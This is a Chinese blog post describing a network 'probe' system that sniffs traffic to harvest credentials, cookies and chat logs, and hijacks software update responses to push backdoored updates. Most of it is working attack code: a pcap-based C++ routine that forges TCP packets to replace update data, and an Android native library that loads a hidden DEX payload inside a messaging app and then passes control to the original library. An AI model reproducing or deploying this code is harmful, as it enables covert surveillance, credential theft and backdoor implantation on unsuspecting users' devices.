大家好,欢迎来到IT知识分享网。
该产品大约有2个功能。第一个是网络数据统计分析。主要是分析小到一个主机,大到整个辖区上的主机,其网络活动所产生的信息,一般是应用程序指纹,比如主机名、IP和mac地址,浏览器和客户浏览点击的网页地址、网页app的账号密码以及cookie和登录信息、电子邮件、即时通信软件的聊天记录,图片头像等、客户端使用哪些软件在上网等,通过数据库存储和关键字搜索等,对全部数据进行智能分析和综合展示,形成网络安全事态感知能力。整个功能逻辑比较简单,其架构基础是:对整个网络数据进行监听。
第二个功能就是,对客户端的网络通信进行监听并修改数据包的内容(一般是更细客户端app的更新数据包),引导客户端下载执行后门程序,实现对目标的网络取证工作。这个功能一直以来都是探针系统的核心功能,它的植入能力代表探针的核心技术水平。这个功能的原理是,监听网络上的数据包,对符合攻击要求的数据包进行伪造修改(比如监听到某个软件的客户端发给服务器的查询版本和升级的数据包,然后修改包中的版本号和下载地址、MD5校验值等,诱导客户端下载执行)。由于IPV4的验证机制都是公开透明的,伪造的数据包只要符合IPV4和tcp协议的格式和校验,其中的数据只要能被app程序接受和识别,就可以达到攻击的效果。
若可以修改服务器返回数据包中的版本号,url和md5等信息,就可以诱导客户端下载执行带有后门程序的更新包。
该功能的数据包替换的核心代码如下:
#ifndef REPLACEPACKET_H_H_H #define REPLACEPACKET_H_H_H #include "include\\pcap.h" #include "include\\pcap\\pcap.h" #include "Packet.h" #define MAX_PACKET_PAYLOAD 1400 #define SENDPACKET_LOG_FILENAME "sendpacket.log" class AttackPacket {
public: static int ReplacePacket(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize, char * ip, int type, LPPPPOEHEADER pppoe); static int ReplaceIPV6Packet(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize, char * ip, int type, LPPPPOEHEADER pppoe); }; #endif
#include "include\\pcap.h" #include "include\\pcap\\pcap.h" #include <windows.h> #include "attacker.h" #include "Packet.h" #include "utils/checksum.h" #include "ReplacePacket.h" #include "Public.h" int AttackPacket::ReplacePacket(pcap_t * pcapT,const char * lppacket,int packetsize,const char * lpsenddata,int sendsize, char * ip,int type,LPPPPOEHEADER pppoe){
if (sendsize <= 0 || lppacket == 0 || lpsenddata == 0 ) {
printf("ReplacePacket packet address:%p,packet size:%u,send data:%p,send size:%u error\r\n", lppacket,packetsize,lpsenddata,sendsize); return FALSE; }else if (type == 2) {
int ret = ReplaceIPV6Packet(pcapT, lppacket, packetsize, lpsenddata, sendsize, ip, type, pppoe); return ret; } LPMACHEADER lpMacHdr = (LPMACHEADER)lppacket; LPIPHEADER lpIPHdr = (LPIPHEADER)ip; int iIpHdrLen = lpIPHdr->HeaderSize << 2; LPTCPHEADER lpTcpHdr = (LPTCPHEADER)((char*)lpIPHdr + iIpHdrLen); int iTcpHdrLen = lpTcpHdr->HeaderSize << 2; const char * lpData = (char*)lpTcpHdr + iTcpHdrLen; int oldPayloadSize = packetsize - ((char*)lpData - lppacket); unsigned char lpnewpack[MAX_SINGLE_PACKET_SIZE]; LPPPPOEHEADER newpppoe = 0; if (pppoe) {
newpppoe = (LPPPPOEHEADER)((char*)pppoe - lppacket + lpnewpack); } int ipoffset = ip - lppacket; memcpy(lpnewpack, lppacket, ipoffset); LPMACHEADER lpNewMacHdr = (LPMACHEADER)lpnewpack; for (int i = 0; i < MAC_ADDRESS_SIZE; i++) {
lpNewMacHdr->SrcMAC[i] = lpMacHdr->DstMAC[i]; lpNewMacHdr->DstMAC[i] = lpMacHdr->SrcMAC[i]; } lpNewMacHdr->Protocol = lpMacHdr->Protocol; LPIPHEADER lpNewIPHdr = (LPIPHEADER)(lpnewpack + ipoffset); memcpy((char*)lpNewIPHdr,(char*)lpIPHdr,iIpHdrLen); lpNewIPHdr->DstIP = lpIPHdr->SrcIP; lpNewIPHdr->SrcIP = lpIPHdr->DstIP; lpNewIPHdr->TimeToLive = 0x3f; LPTCPHEADER lpNewTcpHdr = (LPTCPHEADER)((char*)lpNewIPHdr + iIpHdrLen); memcpy(lpNewTcpHdr,lpTcpHdr,iTcpHdrLen); lpNewTcpHdr->SrcPort = lpTcpHdr->DstPort; lpNewTcpHdr->DstPort = lpTcpHdr->SrcPort; lpNewTcpHdr->AckNum = ntohl(ntohl(lpTcpHdr->SeqNum) + oldPayloadSize); lpNewTcpHdr->SeqNum = lpTcpHdr->AckNum; char * lpnewdata = (char*)lpNewTcpHdr + iTcpHdrLen; int senddatasize = 0; DWORD dwSendSeqNum = ntohl(lpNewTcpHdr->SeqNum); if (lpNewMacHdr->Protocol == 0x0081) {
//LPHEADER8021Q lpnew8021q = (LPHEADER8021Q)((char*)lpNewMacHdr + sizeof(MACHEADER)); //lpnew8021q->priority = 4; } int sendcnt = sendsize/MAX_PACKET_PAYLOAD; int sendmod = sendsize%MAX_PACKET_PAYLOAD; for (int i = 0; i < sendcnt; i ++) {
if (pppoe) {
//pppoe length include size of packetsize in pppoe newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD + sizeof(WORD)); } memcpy(lpnewdata,MAX_PACKET_PAYLOAD * i + lpsenddata,MAX_PACKET_PAYLOAD); lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD); lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1); lpNewIPHdr->HeaderChksum = 0; lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen); lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize); senddatasize += MAX_PACKET_PAYLOAD; lpNewTcpHdr->ACK = 1; lpNewTcpHdr->ECN_ECHO = 0; lpNewTcpHdr->PacketChksum = 0; lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr, MAX_PACKET_PAYLOAD + iTcpHdrLen,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP); int ret = pcap_sendpacket(pcapT,lpnewpack,MAX_PACKET_PAYLOAD + ipoffset + iIpHdrLen + iTcpHdrLen); if (ret ) {
printf("ReplacePacket pcap_sendpacket error\r\n"); Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n"); Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize); return FALSE; } } if (sendmod) {
if (pppoe) {
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + sendmod + sizeof(WORD)); } memcpy(lpnewdata,sendcnt * MAX_PACKET_PAYLOAD + lpsenddata,sendmod); lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen + sendmod); lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1); lpNewIPHdr->HeaderChksum = 0; lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen); lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize); senddatasize += sendmod; lpNewTcpHdr->ACK = 1; lpNewTcpHdr->FIN = 0; lpNewTcpHdr->ECN_ECHO = 0; lpNewTcpHdr->PacketChksum = 0; lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,sendmod+iTcpHdrLen,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP); int ret = pcap_sendpacket(pcapT,lpnewpack,sendmod + ipoffset + iIpHdrLen + iTcpHdrLen); if (ret ) {
printf("ReplacePacket pcap_sendpacket error\r\n"); Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n"); Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize); return FALSE; } } // int padsize = 60 - (ip - lppacket) - iIpHdrLen - iTcpHdrLen; // if (padsize > 0) // {
// memset(lpnewdata, 0, padsize); // } lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1); lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen); lpNewIPHdr->HeaderChksum = 0; lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen); lpNewTcpHdr->FIN = 1; lpNewTcpHdr->ACK = 1; lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize); lpNewTcpHdr->PacketChksum = 0; lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,iTcpHdrLen ,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP); int ret = pcap_sendpacket(pcapT,lpnewpack, ipoffset + iIpHdrLen + iTcpHdrLen); if (ret ) {
printf("ReplacePacket pcap_sendpacket error\r\n"); Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n"); Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize); return FALSE; } return TRUE; } int AttackPacket::ReplaceIPV6Packet(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize, char * ip, int type, LPPPPOEHEADER pppoe) {
LPMACHEADER lpMacHdr = (LPMACHEADER)lppacket; LPIPV6HEADER lpIPHdr = (LPIPV6HEADER)ip; int iIpHdrLen = sizeof(IPV6HEADER); LPTCPHEADER lpTcpHdr = (LPTCPHEADER)((char*)lpIPHdr + iIpHdrLen); int iTcpHdrLen = lpTcpHdr->HeaderSize << 2; const char * lpData = (char*)lpTcpHdr + iTcpHdrLen; int oldPayloadSize = packetsize - ((char*)lpData - lppacket); unsigned char lpnewpack[MAX_SINGLE_PACKET_SIZE]; LPPPPOEHEADER newpppoe = 0; if (pppoe) {
newpppoe = (LPPPPOEHEADER)((char*)pppoe - lppacket + lpnewpack); } int ipoffset = ip - lppacket; memcpy(lpnewpack, lppacket, ipoffset); LPMACHEADER lpNewMacHdr = (LPMACHEADER)lpnewpack; for (int i = 0; i < MAC_ADDRESS_SIZE; i++) {
lpNewMacHdr->SrcMAC[i] = lpMacHdr->DstMAC[i]; lpNewMacHdr->DstMAC[i] = lpMacHdr->SrcMAC[i]; } lpNewMacHdr->Protocol = lpMacHdr->Protocol; LPIPV6HEADER lpNewIPHdr = (LPIPV6HEADER)(lpnewpack + ipoffset); memcpy((char*)lpNewIPHdr, (char*)lpIPHdr, iIpHdrLen); memcpy(lpNewIPHdr->DestAddress ,lpIPHdr->SourceAddress,IPV6_IP_SIZE); memcpy(lpNewIPHdr->SourceAddress,lpIPHdr->DestAddress, IPV6_IP_SIZE); LPTCPHEADER lpNewTcpHdr = (LPTCPHEADER)((char*)lpNewIPHdr + iIpHdrLen); memcpy(lpNewTcpHdr, lpTcpHdr, iTcpHdrLen); lpNewTcpHdr->SrcPort = lpTcpHdr->DstPort; lpNewTcpHdr->DstPort = lpTcpHdr->SrcPort; lpNewTcpHdr->AckNum = ntohl(ntohl(lpTcpHdr->SeqNum) + oldPayloadSize); lpNewTcpHdr->SeqNum = lpTcpHdr->AckNum; char * lpnewdata = (char*)lpNewTcpHdr + iTcpHdrLen; int senddatasize = 0; DWORD dwSendSeqNum = ntohl(lpNewTcpHdr->SeqNum); if (lpNewMacHdr->Protocol == 0x0081) {
//LPHEADER8021Q lpnew8021q = (LPHEADER8021Q)((char*)lpNewMacHdr + sizeof(MACHEADER)); //lpnew8021q->priority = 4; } int sendcnt = sendsize / MAX_PACKET_PAYLOAD; int sendmod = sendsize%MAX_PACKET_PAYLOAD; for (int i = 0; i < sendcnt; i++) {
if (pppoe) {
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD + sizeof(WORD)); } memcpy(lpnewdata, MAX_PACKET_PAYLOAD * i + lpsenddata, MAX_PACKET_PAYLOAD); lpNewIPHdr->PayloadLen = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD); lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize); senddatasize += MAX_PACKET_PAYLOAD; lpNewTcpHdr->ACK = 1; lpNewTcpHdr->ECN_ECHO = 0; lpNewTcpHdr->PacketChksum = 0; lpNewTcpHdr->PacketChksum = Checksum::IPV6subPackCheckSum((char*)lpNewTcpHdr, MAX_PACKET_PAYLOAD + iTcpHdrLen, lpNewIPHdr->SourceAddress, lpNewIPHdr->DestAddress,IPPROTO_TCP); int ret = pcap_sendpacket(pcapT, lpnewpack, MAX_PACKET_PAYLOAD + ipoffset + iIpHdrLen + iTcpHdrLen); if (ret) {
printf("ReplaceIPV6Packet pcap_sendpacket error\r\n"); return FALSE; } } if (sendmod) {
if (pppoe) {
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + sendmod + sizeof(WORD)); } memcpy(lpnewdata, sendcnt * MAX_PACKET_PAYLOAD + lpsenddata, sendmod); lpNewIPHdr->PayloadLen = ntohs(iIpHdrLen + iTcpHdrLen + sendmod); lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize); senddatasize += sendmod; lpNewTcpHdr->ACK = 1; lpNewTcpHdr->FIN = 0; lpNewTcpHdr->ECN_ECHO = 0; //lpNewTcpHdr->SeqNum = ntohl(ntohl(lpNewTcpHdr->SeqNum) + sendmod); lpNewTcpHdr->PacketChksum = 0; lpNewTcpHdr->PacketChksum = Checksum::IPV6subPackCheckSum((char*)lpNewTcpHdr, sendmod + iTcpHdrLen, lpNewIPHdr->SourceAddress, lpNewIPHdr->DestAddress, IPPROTO_TCP); int ret = pcap_sendpacket(pcapT, lpnewpack, sendmod + ipoffset + iIpHdrLen + iTcpHdrLen); if (ret) {
printf("ReplaceIPV6Packet pcap_sendpacket error\r\n"); return FALSE; } } /* int padsize = 60 - (ip - lppacket) - iIpHdrLen - iTcpHdrLen; if (padsize > 0) { memset(lpnewdata, 0, padsize); } lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1); lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen); lpNewIPHdr->HeaderChksum = 0; lpNewIPHdr->HeaderChksum = CalcChecksum((WORD*)lpNewIPHdr,iIpHdrLen); lpNewTcpHdr->FIN = 0; lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize); lpNewTcpHdr->PacketChksum = 0; lpNewTcpHdr->PacketChksum = GetSubPacketCheckSum((char*)lpNewTcpHdr,iTcpHdrLen ,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP); int ret = pcap_sendpacket(pcapT,lpnewpack,sizeof(MACHEADER) + iIpHdrLen + iTcpHdrLen); if (ret ) { return FALSE; }*/ return TRUE; }
一般来说,更新包必然会包含可执行文件,在windows上一般是exe或者dll格式;在android中一般是jar、dex或者是so、二进制elf文件;ios不支持插件式更新而无法攻击。这些可执行代码在客户端的下载验证后一般会立即执行,因此这种方式高效且直接。我们可以用后门程序替换原来的模块,然后在新的代码中调用原来的程序,以完成主机正常的功能。如果不想这样做,直接用后门程序替换更新包中相应的可执行模块,一般也不会影响程序的运行。
#include <jni.h> #include <ctype.h> #include <iostream> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <memory.h> #include <time.h> #include <android/log.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/file.h> #include <dirent.h> #include <android/asset_manager_jni.h> #include <android/asset_manager.h> #include <unistd.h> #include <sys/inotify.h> #include <dlfcn.h> #include <sys/stat.h> #include <elf.h> #include "weixin.h" #include "public.h" using namespace std; //char __aeabi_unwind_cpp_pr0[0]; #define NULL 0 #define size_t unsigned int /* 编译器不会给这种函数增加初始化和清理代码,更特殊的是,你不能用return返回返回值,只能用插入汇编返回结果。 这一般用于实模式驱动程序设计,假设定义一个求和的加法程序,可以定义为: __declspec(naked) int add(int a,int b) { __asm mov eax,a __asm add eax,b __asm ret } */ string gPackageName = ""; soinfo * gOldSoinfo = 0; //old soinfo string gLoadSoPath = ""; //app_xwalk_xxx string gOldSoPath = ""; //xwalk_application int gLoadedOK = 0; //load times typedef int (*OLDFUNC)(void * a1,void*a2,void *a3,void *a4,void*a5,void*a6,void*a7,void*a8,void *a9,void*a10,void*a11,void *a12); //我们需要了解gcc新引进的选项-fvisibility=hidden,这个编译选项可以把所有的符号名(包括函数名和全局变量名)都强制标记成隐藏属性。 //我们可以在Android.mk中可以通过修改LOCAL_CFLAGS选项加入-fvisibility=hidden来做到这一点 //源代码里出现的函数名和全局变量名(符号名)都变成了't',也就是说都是局部符号(类似于static) //void__attribute__ ((visibility ("default")))Java_com_example_SanAngeles_DemoRenderer_nativeInit ( JNIEnv* env ) extern "C" int JniLoadJar(JNIEnv * env,JavaVM * jvm,const char * szCmdline){
int ret = 0; char szout[PATH_MAX] = {
0}; string defjarpath = string(TENCENTMM_DATA_PATH) + MYAPP_PATH_NAME + JAR_FILE_NAME; string optjarpath = string(TENCENTMM_DATA_PATH) + "/cache/"; if(access(defjarpath.c_str(),F_OK) != 0){
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","access error:%s",defjarpath.c_str()); sprintf(szout,"get apk file:%s error\r\n",defjarpath.c_str()); Public::writeLogFile(szout); return -1; }else{
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","defaultjarpath:%s,optjarpath:%s", defjarpath.c_str(),optjarpath.c_str()); } jstring jstrdefjarpath = Public::char2Jstring(env,defjarpath.c_str(),(int)defjarpath.length()); jstring jstroptjarpath = Public::char2Jstring(env,optjarpath.c_str(),(int)optjarpath.length()); jstring jstrclassname = Public::char2Jstring(env,ENTRANCE_CLASSNAME,(int)strlen(ENTRANCE_CLASSNAME)); jstring jstrmethodname = Public::char2Jstring(env,ENTRANCE_METHODNAME,(int)strlen(ENTRANCE_METHODNAME)); jclass classloader = env->FindClass("java/lang/ClassLoader"); jmethodID getsysclassloader = env->GetStaticMethodID(classloader, "getSystemClassLoader","()Ljava/lang/ClassLoader;"); jobject loader = env->CallStaticObjectMethod(classloader,getsysclassloader); jclass dexclassloader = env->FindClass("dalvik/system/DexClassLoader"); jmethodID dexclsldinit = env->GetMethodID(dexclassloader,"<init>", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V"); jobject dexloader =env->NewObject(dexclassloader,dexclsldinit, jstrdefjarpath, jstroptjarpath, 0, loader); jclass dexloaderclass = env->GetObjectClass(dexloader); jmethodID findclass = env->GetMethodID(dexloaderclass,"loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"); if(NULL==findclass){
findclass = env->GetMethodID(dexloaderclass,"findClass", "(Ljava/lang/String;)Ljava/lang/Class;"); } __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","ClassLoader:%x,getSystemClassLoader:%x,loader:%x," "DexClassLoader:%x,DexClassLoader init:%x,DexClassLoader class:%x,dexloaderclass:%x,findClass:%x", (unsigned int)classloader,(unsigned int)getsysclassloader,(unsigned int)loader, (unsigned int)dexclassloader,(unsigned int)dexclsldinit,(unsigned int)dexloader, (unsigned int)dexloaderclass,(unsigned int)findclass); jclass javaenterclass=(jclass)env->CallObjectMethod(dexloader,findclass,jstrclassname); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","%s:%x",ENTRANCE_CLASSNAME,(unsigned int)javaenterclass); jmethodID enterclassinit = env->GetMethodID(javaenterclass, "<init>", "()V"); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","enterclassinit:%x",(unsigned int)enterclassinit); jobject enterclassobj = env->NewObject(javaenterclass,enterclassinit); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","enterclassobj:%x",(unsigned int)enterclassobj); jmethodID entermethodid = env->GetMethodID(javaenterclass, ENTRANCE_METHODNAME, "(Landroid/content/Context;)V"); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","entermethodid:%x",(unsigned int)entermethodid); if(entermethodid){
jclass atclass = env->FindClass("android/app/ActivityThread"); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","atclass:%x",(unsigned int)atclass); jmethodID catmid = env->GetStaticMethodID(atclass,"currentActivityThread","()Landroid/app/ActivityThread;"); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","catmid:%x",(unsigned int)catmid); jobject catobj = env->CallStaticObjectMethod(atclass,catmid); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","catobj:%x",(unsigned int)catobj); jmethodID getappmid = env->GetMethodID(atclass, "getApplication", "()Landroid/app/Application;"); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","getappmid:%x",(unsigned int)getappmid); jobject contextobj = env->CallObjectMethod(catobj, getappmid); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","contextobj:%x",(unsigned int)contextobj); env->CallVoidMethod(enterclassobj, entermethodid, contextobj); __android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","apk or jar loaded ok"); Public::writeLogFile("apk or jar loaded ok\r\n",szCmdline); gLoadedOK ++; return 0; }else{
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","entermethodid not found"); return -1; } Public::writeLogFile("apk or jar loaded error\r\n",szCmdline); return -1; } JNIEnv * getEnv(JavaVM * javavm,bool &bAttached){
int ret = 0; JNIEnv *env = NULL; if (javavm != NULL){
ret = javavm->GetEnv((void**) &env, DEFAULT_JNI_VERSION); if (ret < 0){
__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM GetEnv error"); Public::writeLogFile("JavaVM GetEnv error\r\n"); //Attaches the current thread to a Java (Dalvik) VM. //A thread must be attached to the VM before any other JNI calls can be made. //Returns 0 on success; returns a negative number on failure. ret = javavm->AttachCurrentThread(&env, NULL); if (ret < 0) {
Public::writeLogFile("JavaVM AttachCurrentThread error\r\n"); __android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM AttachCurrentThread error"); return 0; }else{
bAttached = true; Public::writeLogFile("JavaVM AttachCurrentThread ok\r\n"); __android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM AttachCurrentThread ok"); } } return env; }else{
__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM NULL"); Public::writeLogFile("JavaVM NULL\r\n"); } return 0; } //dlopen do not call JNI_OnLoad,but System.load or System.loadLibrary will do extern "C" JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* javavm, void* reserved){
int ret = 0; int retJniVersion = DEFAULT_JNI_VERSION; char szout[1024]; __android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","start"); bool bAttached = false; JNIEnv * env = getEnv(javavm,bAttached); if(env > 0){
if(gLoadedOK <= 2){
ret = JniLoadJar(env,javavm,PACKAGE_NAME); __android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","start for first time"); Public::writeLogFile("JNI_OnLoad start for first time\r\n"); }else{
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","so had been already loaded for times:%u",gLoadedOK); sprintf(szout,"so had been already loaded for times:%u\r\n",gLoadedOK); Public::writeLogFile(szout); } }else{
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","JavaVM GetEnv error"); Public::writeLogFile("JavaVM GetEnv error\r\n"); } if(gOldSoPath == ""){
gOldSoPath = Weixin::getSoPathName(); } if(gOldSoinfo <= 0){
gOldSoinfo = (soinfo*)dlopen(gOldSoPath.c_str(),RTLD_LAZY|RTLD_GLOBAL); } if(gOldSoinfo > 0){
typedef jint (JNICALL*ptrJNI_OnLoad)(JavaVM* javavm, void* reserved); ptrJNI_OnLoad lpJNI_OnLoad = (ptrJNI_OnLoad)dlsym(gOldSoinfo,"JNI_OnLoad"); if(lpJNI_OnLoad){
retJniVersion = (lpJNI_OnLoad)(javavm,reserved); __android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","get JNI_OnLoad in old.so ok and run it"); Public::writeLogFile("get JNI_OnLoad in old.so ok and run it\r\n"); }else{
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","dlsym JNI_OnLoad in old.so error"); Public::writeLogFile("JNI_OnLoad dlsym JNI_OnLoad in old.so error\r\n"); } }else{
Public::writeLogFile("JNI_OnLoad dlopen old.so error\r\n"); __android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","dlopen old.so error"); } if(bAttached == true){
javavm->DetachCurrentThread(); __android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","JavaVM DetachCurrentThread"); Public::writeLogFile("JNI_OnLoad JavaVM DetachCurrentThread\r\n"); } return retJniVersion; } extern "C" JNIEXPORT void JNICALL JNI_OnUnload(JavaVM* javavm, void* reserved){
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnUnload","JNI_OnUnload"); printf("JNI_OnUnload\r\n"); Public::writeLogFile("JNI_OnUnload\r\n"); return; } //System.loadLibrary call dlopen->init or initarray,call JNI_OnLoad everytime void __attribute__ ((constructor)) SO_Load(void){
__android_log_print(ANDROID_LOG_ERROR,"SO_Load","SO_Load"); printf("SO_Load\r\n"); int androidver = Public::getAndroidVersion(); printf("android version:%u\r\n",androidver); gPackageName = Public::getPackageName(); //gLoadSoPath = get the biggest number of version path with app_xwalk_xxx gOldSoinfo = Weixin::prepareFiles(gLoadSoPath); Weixin::checkTestApk(); __android_log_print(ANDROID_LOG_ERROR,"SO_Load","get so path:%s,soinfo:%p\r\n",gLoadSoPath.c_str(),gOldSoinfo); char szout[1024]; sprintf(szout,"SO_Load android version:%u,package name:%s,update path:%s,old so loaded:%x\r\n", androidver,gPackageName.c_str(),gLoadSoPath.c_str(),gOldSoinfo); Public::writeLogFile(szout); return; } void __attribute__ ((destructor)) SO_Unload(void){
__android_log_print(ANDROID_LOG_ERROR,"SO_Unload","SO_Unload"); printf("SO_Unload\r\n"); Public::writeLogFile("SO_Unload\r\n"); if(gOldSoinfo > 0){
dlclose(gOldSoinfo); } return; } int myoldfuncEntry(string funcname,void *a1,void *a2,void *a3,void *a4,void *a5,void *a6,void *a7,void *a8,void *a9,void*a10,void*a11,void *a12){
char szout[1024]; if(gOldSoinfo <= 0){
if(gOldSoPath == ""){
gOldSoPath = Weixin::getSoPathName(); } gOldSoinfo = (soinfo*)dlopen(gOldSoPath.c_str(),RTLD_LAZY|RTLD_GLOBAL); if(gOldSoinfo <= 0){
Public::writeLogFile("dlopen old so error\r\n"); return 0; } } OLDFUNC oldfun = (OLDFUNC)dlsym(gOldSoinfo,funcname.c_str()); if(oldfun){
return oldfun( a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12); } sprintf(szout,"dlsym:%s error\r\n",funcname.c_str()); Public::writeLogFile(szout); return 0; } extern "C" void* JNICALL test_so_param(void *a1,void *a2,void *a3,void *a4,void *a5,void *a6,void *a7,void *a8,void *a9,void*a10,void*a11,void *a12){
void * handle = dlopen("./libold.so",RTLD_LAZY|RTLD_GLOBAL); if(handle){
OLDFUNC oldfun = (OLDFUNC)dlsym(handle,"test_so_param"); if(oldfun){
__android_log_print(ANDROID_LOG_ERROR,"test","dlsym ok"); void * ret = (void*)oldfun( a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12); return ret; } } return 0; }
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/135744.html